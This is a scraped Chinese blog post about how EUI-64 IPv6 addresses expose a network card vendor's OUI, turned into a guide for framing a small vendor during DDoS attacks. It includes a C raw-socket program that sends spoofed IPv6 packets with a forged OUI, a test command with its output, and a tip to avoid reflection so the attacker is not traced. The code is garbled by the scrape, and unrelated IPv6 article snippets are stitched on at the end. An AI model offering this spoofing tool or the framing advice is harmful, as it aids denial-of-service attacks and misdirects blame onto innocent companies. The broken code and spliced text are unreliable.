利用IPv6的位址特性寫乙個攻擊甩鍋程式

2021-09-13 02:08:09 字數 4167 閱讀 6635

一sdwan領域的元老級別的,開公司當老闆的哥們兒拿到了自己的oui,可見這位老闆哥已經做大了,可以自己出網絡卡了…

做個廣告,對sdwan感興趣的自認為優秀的很帥的人可以去投奔這位老闆哥,很帥很老闆的哥。

是這樣的,聽我簡單說。

在ipv4時代,如果你想對某個大廠的伺服器組織一次ddos,你可能需要進行一次反射發包,即構造一系列目標位址為任意位址的主機,源位址為被攻擊伺服器位址的包發出去,然後所有這些主機將會同時給被攻擊機器發包,從而耗盡其處理器資源。

被攻擊者很難定位攻擊者是從**發起的,因為ipv4位址除了那個點分十進位制的32位整型數字之外,什麼資訊都沒有,而且幾乎可以肯定,攻擊源是攻擊者任意構造的,由於ipv4位址的任意分配特徵,你幾乎不可能根據運營商位址分配資訊找到他們總部,他們其實也是受害者,很難進一步溯源。

但是在ipv6的場景下,事情起了變化。

那麼我就知道,這個資料報十有**來自乙個tp-link的網絡卡,為什麼呢?

請注意這個ip位址的hostid部分,中間的兩個位元組是0xff,0xfe,這正符合eui-64的格式,而eui-64則是由其mac位址對映而來,而mac位址則是和廠商繫結的,廠商則可以查到購買者的資訊…

由於ipv6幾乎不做nat,從2422:222::e205:c5ff:fe7c:cee8這個源位址,我們知道該資料報的始發站一定來自於一塊tp-link的網絡卡,這個從其eui-64結構頭3個位元組e205:c5就可以看出,詳細的oui資訊來自於:

如果你持續看到…e205:c5ff:fe…源位址,那就就可以肯定這是tp-link在發動各攻擊。從tp-link公司找它們的大客戶就好了…

這解釋了ipv6位址是如何暴露隱私的,同時也說明了ipv6隱私擴充套件臨時位址的必要性!

那麼作為乙個攻擊者,如果知道這個,如何可以利用?

這個機制既能嫁禍於人,也能自廢武功!可謂甩鍋神技,又容易走火入魔。

比如攻擊者在構造源位址的時候,其hostid的頭3位元組統一都構造成某乙個小廠的oui的生成(不要是intel之類的大廠,bat加一起都得罪不起),比如乙個小廠名叫x2,剛剛申請到乙個oui,假設它是e0-12-34,此時你在構造源ip位址的時候,hostid的前5個位元組寫成e2-12-34-ff-fe就可以了。攻擊者的目的是想讓被攻擊者定位到x2,而不是自己。

然而,被攻擊者肯定會注意到這個序列,然後就會注意到這個序列,然後它會了解到攻擊包來自x2的網絡卡,就算你的ip字首分散的再散,只需要獲取x2的訂單資訊源就能定位到間接攻擊者的地理位置(購買網絡卡的人總要來自某個地方吧…),進而獲取運營商的管理資訊,記住,ipv6的位址字首分配是和位置相關的。從這些位置的採購x2公司網絡卡的客戶那裡,就可能獲取都間接攻擊者的訪問日誌,進而定位到直接攻擊者。

繞了一圈,自己打了自己一拳。本來是想嫁禍於人,結果暴露了自己…所以說,想用這種方式,千萬不要反射資料報,一定要直接發往伺服器,這樣便不會讓你的反射包在oui匹配的地方留下足跡。

這就是ipv6,雁過留聲,千萬別做壞事。

下面給出乙個程式,傳送暴露oui的攻擊報文:

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define __u8 unsigned char

#define __be16 unsigned short

#define __u32 unsigned int

struct ipv6hdr

;int

main

(int argc,

char

**ar**)

;static

struct sockaddr_in6 source, remote;

struct ipv6hdr *hdr;

int num;

// 目標位址if(

inet_pton

(af_inet6, ar**[1]

,&remote)

<=0)

// 源位址if(

inet_pton

(af_inet6, ar**[2]

,&source)

<=0)

// 3個位元組的oui

sscanf

(ar**[3]

,"%x"

,&oui[0]

);sscanf

(ar**[4]

,"%x"

,&oui[1]

);sscanf

(ar**[5]

,"%x"

,&oui[2]

);remote.sin6_family = pf_inet6;

remote.sin6_port = htons (0)

; sd =

socket

(pf_inet6, sock_raw, ipproto_raw);if

(sd <0)

packet[0]

=0x60

; hdr =

(struct ipv6hdr *

)&packet[0]

;memset

(hdr->flow_lbl,0,

sizeof

(hdr->flow_lbl));

hdr->payload_len =

htons

(sizeof

(packet)

-sizeof

(struct ipv6hdr));

hdr->nexthdr = ipproto_udp;

hdr->hop_limit =64;

eui64 =

(unsigned

char*)

((unsigned

char*)

&source +8)

;// eui-64規則

eui64[0]

= oui[0]

; eui64[1]

= oui[1]

; eui64[2]

= oui[2]

; eui64[3]

=0xff

; eui64[4]

=0xfe

; eui64[0]

^=0x02

;srand((

unsigned

)time

(null))

;// 低24位隨機生成,以模擬不同的主機。

eui64[5]

=rand()

%0xff

; eui64[6]

=rand()

%0xff

; eui64[7]

=rand()

%0xff

;memcpy

(&hdr->saddr,

&source,16)

;memcpy

(&hdr->daddr,

&remote,16)

;memcpy

(&remote.sin6_addr.s6_addr,

&hdr->daddr,

sizeof

(remote.sin6_addr.s6_addr));

num =

sendto

(sd, packet,

sizeof

(packet),0

,(struct sockaddr *

)&remote,

sizeof

(remote));

if(num <0)

return(0);}

我用下面的命令列進行測試:

[root@localhost ~]

# ./a.out 240e:123:222::444 2422:222::44 0xe0 0x12 0x34

226 18 52

得到的抓包如下:

被攻擊的大廠管理員如果看到持續的源位址中都存在小紅框裡的數字,會怎麼想?查oui吧。哈哈!

浙江溫州皮鞋溼,下雨進水不會胖。

是乙個IPV6位址

每次在vs上除錯,發現本機位址是 1 這種就不解.由於太忙而沒關注,今天看了ipv6的文章才明白.原來這是個ipv6位址,也就是本機環迴位址.以前是127.0.0.1,ipv4版本,而ipv6的就是 1,這還是個簡寫的.按ipv6表示方法就是這樣 0000 0000 0000 0000 0000 0...

IPv6位址的一些概念

ipv6涉及到乙個概念,link local address,中文叫 鏈路本地位址 它的字首是fe80 64 乙個link local address的範例 fe80 713e a426 d167 37ab 實際上,這個概念類似於ipv4中,當dhcp分配失敗時自動生成的169.254.這樣的位址,...

檢視你的IPv6位址元件不要讓他再易受攻擊

在部署ipv6無狀態位址自動配置 slaac 時都需要ipv6節點。在slaac中,本地路由器將ipv6網路配置資訊提供給本地主機,而本地主機利用這一資訊來建立起ipv6連線,這包括ipv6位址的配置等。與動態主機配置協議版本6不同,這裡沒有位址 租用 相反地,主機會自己自動配置 或 租用 ipv6...